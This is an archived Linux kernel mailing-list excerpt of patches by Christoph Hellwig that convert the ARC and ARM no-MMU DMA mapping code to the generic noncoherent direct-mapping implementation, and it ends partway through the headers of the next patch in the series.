Xref: news.gmane.org gmane.linux.kernel.iommu:24170 gmane.linux.kernel.cross-arch:44014 gmane.linux.ports.parisc:28597 gmane.linux.ports.sh.devel:57003 gmane.linux.ports.hexagon:1700 gmane.linux.kernel:2764204 gmane.linux.ports.alpha:5025 gmane.linux.ports.sparc:27852 gmane.linux.kernel.arc:3866 gmane.linux.ports.arm.kernel:649153
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24170>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/arc/Kconfig                   |   4 +
 arch/arc/include/asm/Kbuild        |   1 +
 arch/arc/include/asm/dma-mapping.h |  21 -----
 arch/arc/mm/dma.c                  | 141 +++--------------------------
 4 files changed, 19 insertions(+), 148 deletions(-)
 delete mode 100644 arch/arc/include/asm/dma-mapping.h

diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index 7498aca4b887..89d47eac18b2 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -9,11 +9,15 @@
 config ARC
 	def_bool y
 	select ARC_TIMERS
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_HAS_SG_CHAIN
 	select ARCH_SUPPORTS_ATOMIC_RMW if ARC_HAS_LLSC
 	select BUILDTIME_EXTABLE_SORT
 	select CLONE_BACKWARDS
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
+	select DMA_NONCOHERENT_MMAP
 	select GENERIC_ATOMIC64 if !ISA_ARCV2 || !(ARC_HAS_LL64 && ARC_HAS_LLSC)
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_FIND_FIRST_BIT
diff --git a/arch/arc/include/asm/Kbuild b/arch/arc/include/asm/Kbuild
index 4bd5d4369e05..bbdcb955e18f 100644
--- a/arch/arc/include/asm/Kbuild
+++ b/arch/arc/include/asm/Kbuild
@@ -2,6 +2,7 @@
 generic-y += bugs.h
 generic-y += device.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += extable.h
 generic-y += fb.h
diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
deleted file mode 100644
index 7a16824bfe98..000000000000
--- a/arch/arc/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * DMA Mapping glue for ARC
- *
- * Copyright (C) 2004, 2007-2010, 2011-2012 Synopsys, Inc. (www.synopsys.com)
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 as
- * published by the Free Software Foundation.
- */
-
-#ifndef ASM_ARC_DMA_MAPPING_H
-#define ASM_ARC_DMA_MAPPING_H
-
-extern const struct dma_map_ops arc_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &arc_dma_ops;
-}
-
-#endif
diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
index 1dcc404b5aec..e4cd485517b4 100644
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -16,13 +16,12 @@
  * The default DMA address == Phy address which is 0x8000_0000 based.
  */
 
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <asm/cache.h>
 #include <asm/cacheflush.h>
 
-
-static void *arc_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	unsigned long order = get_order(size);
 	struct page *page;
@@ -89,7 +88,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
 	return kvaddr;
 }
 
-static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	phys_addr_t paddr = dma_handle;
@@ -105,9 +104,9 @@ static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
 	__free_pages(page, get_order(size));
 }
 
-static int arc_dma_mmap(struct device *dev, struct vm_area_struct *vma,
-			void *cpu_addr, dma_addr_t dma_addr, size_t size,
-			unsigned long attrs)
+int arch_dma_mmap(struct device *dev, struct vm_area_struct *vma,
+		void *cpu_addr, dma_addr_t dma_addr, size_t size,
+		unsigned long attrs)
 {
 	unsigned long user_count = vma_pages(vma);
 	unsigned long count = PAGE_ALIGN(size) >> PAGE_SHIFT;
@@ -135,7 +134,7 @@ static int arc_dma_mmap(struct device *dev, struct vm_area_struct *vma,
  * CPU accesses page via normal paddr, thus needs to explicitly made
  * consistent before each use
  */
-static void _dma_cache_sync(phys_addr_t paddr, size_t size,
+static void _dma_cache_sync(struct device *dev, phys_addr_t paddr, size_t size,
 		enum dma_data_direction dir)
 {
 	switch (dir) {
@@ -153,126 +152,14 @@ static void _dma_cache_sync(phys_addr_t paddr, size_t size,
 	}
 }
 
-/*
- * arc_dma_map_page - map a portion of a page for streaming DMA
- *
- * Ensure that any data held in the cache is appropriately discarded
- * or written back.
- *
- * The device owns this memory once this call has completed.  The CPU
- * can regain ownership by calling dma_unmap_page().
- *
- * Note: while it takes struct page as arg, caller can "abuse" it to pass
- * a region larger than PAGE_SIZE, provided it is physically contiguous
- * and this still works correctly
- */
-static dma_addr_t arc_dma_map_page(struct device *dev, struct page *page,
-		unsigned long offset, size_t size, enum dma_data_direction dir,
-		unsigned long attrs)
-{
-	phys_addr_t paddr = page_to_phys(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		_dma_cache_sync(paddr, size, dir);
-
-	return paddr;
-}
-
-/*
- * arc_dma_unmap_page - unmap a buffer previously mapped through dma_map_page()
- *
- * After this call, reads by the CPU to the buffer are guaranteed to see
- * whatever the device wrote there.
- *
- * Note: historically this routine was not implemented for ARC
- */
-static void arc_dma_unmap_page(struct device *dev, dma_addr_t handle,
-			       size_t size, enum dma_data_direction dir,
-			       unsigned long attrs)
-{
-	phys_addr_t paddr = handle;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		_dma_cache_sync(paddr, size, dir);
-}
-
-static int arc_dma_map_sg(struct device *dev, struct scatterlist *sg,
-	   int nents, enum dma_data_direction dir, unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i)
-		s->dma_address = dma_map_page(dev, sg_page(s), s->offset,
-					       s->length, dir);
-
-	return nents;
-}
-
-static void arc_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-			     int nents, enum dma_data_direction dir,
-			     unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i)
-		arc_dma_unmap_page(dev, sg_dma_address(s), sg_dma_len(s), dir,
-				   attrs);
-}
-
-static void arc_dma_sync_single_for_cpu(struct device *dev,
-		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
-{
-	_dma_cache_sync(dma_handle, size, DMA_FROM_DEVICE);
-}
-
-static void arc_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	_dma_cache_sync(dma_handle, size, DMA_TO_DEVICE);
+	return _dma_cache_sync(dev, paddr, size, dir);
 }
 
-static void arc_dma_sync_sg_for_cpu(struct device *dev,
-		struct scatterlist *sglist, int nelems,
-		enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nelems, i)
-		_dma_cache_sync(sg_phys(sg), sg->length, dir);
+	return _dma_cache_sync(dev, paddr, size, dir);
 }
-
-static void arc_dma_sync_sg_for_device(struct device *dev,
-		struct scatterlist *sglist, int nelems,
-		enum dma_data_direction dir)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nelems, i)
-		_dma_cache_sync(sg_phys(sg), sg->length, dir);
-}
-
-static int arc_dma_supported(struct device *dev, u64 dma_mask)
-{
-	/* Support 32 bit DMA mask exclusively */
-	return dma_mask == DMA_BIT_MASK(32);
-}
-
-const struct dma_map_ops arc_dma_ops = {
-	.alloc			= arc_dma_alloc,
-	.free			= arc_dma_free,
-	.mmap			= arc_dma_mmap,
-	.map_page		= arc_dma_map_page,
-	.unmap_page		= arc_dma_unmap_page,
-	.map_sg			= arc_dma_map_sg,
-	.unmap_sg		= arc_dma_unmap_sg,
-	.sync_single_for_device	= arc_dma_sync_single_for_device,
-	.sync_single_for_cpu	= arc_dma_sync_single_for_cpu,
-	.sync_sg_for_cpu	= arc_dma_sync_sg_for_cpu,
-	.sync_sg_for_device	= arc_dma_sync_sg_for_device,
-	.dma_supported		= arc_dma_supported,
-};
-EXPORT_SYMBOL(arc_dma_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 04/20] arm-nommu: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:29 +0200
Lines: 255
Approved: news@gmane.org
Message-ID: <20180511075945.16548-5-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025532 31862 195.159.176.226 (11 May 2018 07:58:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:58:52 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 09:58:46 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2wv-0008A8-6R
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 09:58:45 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 3FAF5C87;
	Fri, 11 May 2018 08:00:56 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id F1514C7C
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:00:54 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 2E144E7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:00:54 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=cuCIrkAo6a4NVWNYkpmsIdLlJfsg58n5uzBs+8nD8Lg=;
	b=VE7OxBP3eDyrSJtz+eDOOH6uG
	+PWlZ2XyanWg+uYQ2NAkwyu2izWGnunjk5S1KuyawPD63Pvr6y7YmfML+Il8WpyYtHkmvAtTHF+ly
	/4yVJ2akvzq6/PfQ7aS6lo5ZAmaAEIVW9Gc4B6yBsUL7+bN0+gR8ELeOKwSRK4d7CJcPENrHwMpT8
	a9ujPe8NAyfgA2p29dqJShqsTYAvkYdROm07t0Eb6KEPGhbUdC8XrppXyhb96EPeQbSsWCLlbAlwU
	Z272EqFXekhBR01fBGcETEfUpZzJZ0eAPo/ut9gu5QQGV2bGxAAX9oiIrI6B0IfPlIZ94A5ZjtmeC
	hQugRyElA==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2yY-0007Kl-4d; Fri, 11 May 2018 08:00:32 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24171 gmane.linux.kernel.cross-arch:44015 gmane.linux.ports.parisc:28598 gmane.linux.ports.sh.devel:57004 gmane.linux.ports.hexagon:1701 gmane.linux.kernel:2764205 gmane.linux.ports.alpha:5026 gmane.linux.ports.sparc:27853 gmane.linux.kernel.arc:3867 gmane.linux.ports.arm.kernel:649154
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24171>

Switch to the generic noncoherent direct mapping implementation for
the nommu dma map implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/arc/Kconfig                |   1 +
 arch/arm/Kconfig                |   4 +
 arch/arm/mm/dma-mapping-nommu.c | 139 +++++---------------------------
 3 files changed, 23 insertions(+), 121 deletions(-)

diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index 89d47eac18b2..3a492a9aeaad 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -9,6 +9,7 @@
 config ARC
 	def_bool y
 	select ARC_TIMERS
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_HAS_SYNC_DMA_FOR_CPU
 	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_HAS_SG_CHAIN
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index c43f5bb55ac8..76ddd0064f87 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -12,6 +12,8 @@ config ARM
 	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
 	select ARCH_HAS_STRICT_MODULE_RWX if MMU
+	select ARCH_HAS_SYNC_DMA_FOR_CPU if !MMU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE if !MMU
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
 	select ARCH_HAVE_CUSTOM_GPIO_H
 	select ARCH_HAS_GCOV_PROFILE_ALL
@@ -27,6 +29,8 @@ config ARM
 	select CPU_PM if (SUSPEND || CPU_IDLE)
 	select DCACHE_WORD_ACCESS if HAVE_EFFICIENT_UNALIGNED_ACCESS
 	select DMA_DIRECT_OPS if !MMU
+	select DMA_NONCOHERENT_OPS if !MMU
+	select DMA_NONCOHERENT_MMAP if !MMU
 	select EDAC_SUPPORT
 	select EDAC_ATOMIC_SCRUB
 	select GENERIC_ALLOCATOR
diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
index f448a0663b10..a74ed6632982 100644
--- a/arch/arm/mm/dma-mapping-nommu.c
+++ b/arch/arm/mm/dma-mapping-nommu.c
@@ -12,6 +12,7 @@
 #include <linux/export.h>
 #include <linux/mm.h>
 #include <linux/dma-direct.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/scatterlist.h>
 
 #include <asm/cachetype.h>
@@ -26,18 +27,16 @@
  *   - MMU/MPU is off
  *   - cpu is v7m w/o cache support
  *   - device is coherent
- *  otherwise arm_nommu_dma_ops is used.
+ *  otherwise dma_noncoherent_ops is used.
  *
- *  arm_nommu_dma_ops rely on consistent DMA memory (please, refer to
+ *  dma_noncoherent_ops rely on consistent DMA memory (please, refer to
  *  [1] on how to declare such memory).
  *
  *  [1] Documentation/devicetree/bindings/reserved-memory/reserved-memory.txt
  */
 
-static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
-				 dma_addr_t *dma_handle, gfp_t gfp,
-				 unsigned long attrs)
-
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -65,9 +64,8 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
 	return ret;
 }
 
-static void arm_nommu_dma_free(struct device *dev, size_t size,
-			       void *cpu_addr, dma_addr_t dma_addr,
-			       unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
 	if (attrs & DMA_ATTR_NON_CONSISTENT) {
 		dma_direct_free(dev, size, cpu_addr, dma_addr, attrs);
@@ -81,9 +79,9 @@ static void arm_nommu_dma_free(struct device *dev, size_t size,
 	return;
 }
 
-static int arm_nommu_dma_mmap(struct device *dev, struct vm_area_struct *vma,
-			      void *cpu_addr, dma_addr_t dma_addr, size_t size,
-			      unsigned long attrs)
+int arch_dma_mmap(struct device *dev, struct vm_area_struct *vma,
+		void *cpu_addr, dma_addr_t dma_addr, size_t size,
+		unsigned long attrs)
 {
 	int ret;
 
@@ -93,9 +91,8 @@ static int arm_nommu_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 	return dma_common_mmap(dev, vma, cpu_addr, dma_addr, size);
 }
 
-
-static void __dma_page_cpu_to_dev(phys_addr_t paddr, size_t size,
-				  enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
 	dmac_map_area(__va(paddr), size, dir);
 
@@ -105,8 +102,8 @@ static void __dma_page_cpu_to_dev(phys_addr_t paddr, size_t size,
 		outer_clean_range(paddr, paddr + size);
 }
 
-static void __dma_page_dev_to_cpu(phys_addr_t paddr, size_t size,
-				  enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
 	if (dir != DMA_TO_DEVICE) {
 		outer_inv_range(paddr, paddr + size);
@@ -114,110 +111,9 @@ static void __dma_page_dev_to_cpu(phys_addr_t paddr, size_t size,
 	}
 }
 
-static dma_addr_t arm_nommu_dma_map_page(struct device *dev, struct page *page,
-					 unsigned long offset, size_t size,
-					 enum dma_data_direction dir,
-					 unsigned long attrs)
-{
-	dma_addr_t handle = page_to_phys(page) + offset;
-
-	__dma_page_cpu_to_dev(handle, size, dir);
-
-	return handle;
-}
-
-static void arm_nommu_dma_unmap_page(struct device *dev, dma_addr_t handle,
-				     size_t size, enum dma_data_direction dir,
-				     unsigned long attrs)
-{
-	__dma_page_dev_to_cpu(handle, size, dir);
-}
-
-
-static int arm_nommu_dma_map_sg(struct device *dev, struct scatterlist *sgl,
-				int nents, enum dma_data_direction dir,
-				unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sgl, sg, nents, i) {
-		sg_dma_address(sg) = sg_phys(sg);
-		sg_dma_len(sg) = sg->length;
-		__dma_page_cpu_to_dev(sg_dma_address(sg), sg_dma_len(sg), dir);
-	}
-
-	return nents;
-}
-
-static void arm_nommu_dma_unmap_sg(struct device *dev, struct scatterlist *sgl,
-				   int nents, enum dma_data_direction dir,
-				   unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sgl, sg, nents, i)
-		__dma_page_dev_to_cpu(sg_dma_address(sg), sg_dma_len(sg), dir);
-}
-
-static void arm_nommu_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t handle, size_t size, enum dma_data_direction dir)
-{
-	__dma_page_cpu_to_dev(handle, size, dir);
-}
-
-static void arm_nommu_dma_sync_single_for_cpu(struct device *dev,
-		dma_addr_t handle, size_t size, enum dma_data_direction dir)
-{
-	__dma_page_cpu_to_dev(handle, size, dir);
-}
-
-static void arm_nommu_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sgl,
-					     int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sgl, sg, nents, i)
-		__dma_page_cpu_to_dev(sg_dma_address(sg), sg_dma_len(sg), dir);
-}
-
-static void arm_nommu_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sgl,
-					  int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sgl, sg, nents, i)
-		__dma_page_dev_to_cpu(sg_dma_address(sg), sg_dma_len(sg), dir);
-}
-
-const struct dma_map_ops arm_nommu_dma_ops = {
-	.alloc			= arm_nommu_dma_alloc,
-	.free			= arm_nommu_dma_free,
-	.mmap			= arm_nommu_dma_mmap,
-	.map_page		= arm_nommu_dma_map_page,
-	.unmap_page		= arm_nommu_dma_unmap_page,
-	.map_sg			= arm_nommu_dma_map_sg,
-	.unmap_sg		= arm_nommu_dma_unmap_sg,
-	.sync_single_for_device	= arm_nommu_dma_sync_single_for_device,
-	.sync_single_for_cpu	= arm_nommu_dma_sync_single_for_cpu,
-	.sync_sg_for_device	= arm_nommu_dma_sync_sg_for_device,
-	.sync_sg_for_cpu	= arm_nommu_dma_sync_sg_for_cpu,
-};
-EXPORT_SYMBOL(arm_nommu_dma_ops);
-
-static const struct dma_map_ops *arm_nommu_get_dma_map_ops(bool coherent)
-{
-	return coherent ? &dma_direct_ops : &arm_nommu_dma_ops;
-}
-
 void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
 			const struct iommu_ops *iommu, bool coherent)
 {
-	const struct dma_map_ops *dma_ops;
-
 	if (IS_ENABLED(CONFIG_CPU_V7M)) {
 		/*
 		 * Cache support for v7m is optional, so can be treated as
@@ -233,9 +129,10 @@ void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
 		dev->archdata.dma_coherent = (get_cr() & CR_M) ? coherent : true;
 	}
 
-	dma_ops = arm_nommu_get_dma_map_ops(dev->archdata.dma_coherent);
-
-	set_dma_ops(dev, dma_ops);
+	if (dev->archdata.dma_coherent)
+		set_dma_ops(dev, &dma_direct_ops);
+	else
+		set_dma_ops(dev, &dma_noncoherent_ops);
 }
 
 void arch_teardown_dma_ops(struct device *dev)
-- 
2.17.0


From - Thu Nov 08 21:41:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 05/20] c6x: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:30 +0200
Lines: 319
Approved: news@gmane.org
Message-ID: <20180511075945.16548-6-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025542 32701 195.159.176.226 (11 May 2018 07:59:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:59:02 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 09:58:56 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
